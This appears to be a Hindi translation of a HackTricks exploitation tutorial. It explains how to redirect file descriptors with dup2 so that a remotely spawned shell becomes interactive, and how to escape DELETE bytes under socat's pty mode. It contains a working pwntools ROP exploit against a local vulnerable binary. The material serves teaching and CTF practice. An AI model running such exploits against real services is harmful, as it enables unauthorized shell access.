Common Exploiting Problems

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

दूरस्थ शोध में एफडीs

जब एक दूरस्थ सर्वर को एक एक्सप्लॉइट भेजा जाता है जो उदाहरण के लिए system('/bin/sh') को कॉल करता है, तो यह सर्वर प्रक्रिया में निष्पादित होगा, और /bin/sh stdin से इनपुट की अपेक्षा करेगा (एफडी: 0) और stdout और stderr में आउटपुट प्रिंट करेगा (एफडी 1 और 2)। इसलिए हमलावर शैली से शैल से बातचीत नहीं कर सकेगा।

इसे ठीक करने का एक तरीका यह है कि समझा जाए कि जब सर्वर शुरू हुआ तो यहने एफडी नंबर 3 (सुनने के लिए) बनाया था और फिर, आपका कनेक्शन एफडी नंबर 4 में जा रहा है। इसलिए, एफडी 4 में (हमलावर का कनेक्शन वाला) stdin (एफडी 0) और stdout (एफडी 1) को डुप्लिकेट करने के लिए सिस्कॉल dup2 का उपयोग करना संभव है ताकि जब यह निष्पादित हो, तो शैल से संपर्क स्थापित करना संभव हो।

यहाँ से उदाहरण एक्सप्लॉइट

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

सोकैट पहले से ही stdin और stdout को सॉकेट में ट्रांसफर करता है। हालांकि, pty मोड DELETE characters को शामिल करता है। इसलिए, अगर आप \x7f ( DELETE -) भेजते हैं तो यह आपके एक्सप्लॉइट के पिछले वर्णमाला को हटा देगा।

इसे इसे बाईपास करने के लिए एस्केप वर्ण \x16 को किसी भी \x7f के साथ पहले भेजा जाना चाहिए।

यहाँ आप इस व्यवहार का एक उदाहरण पा सकते हैं

Last updated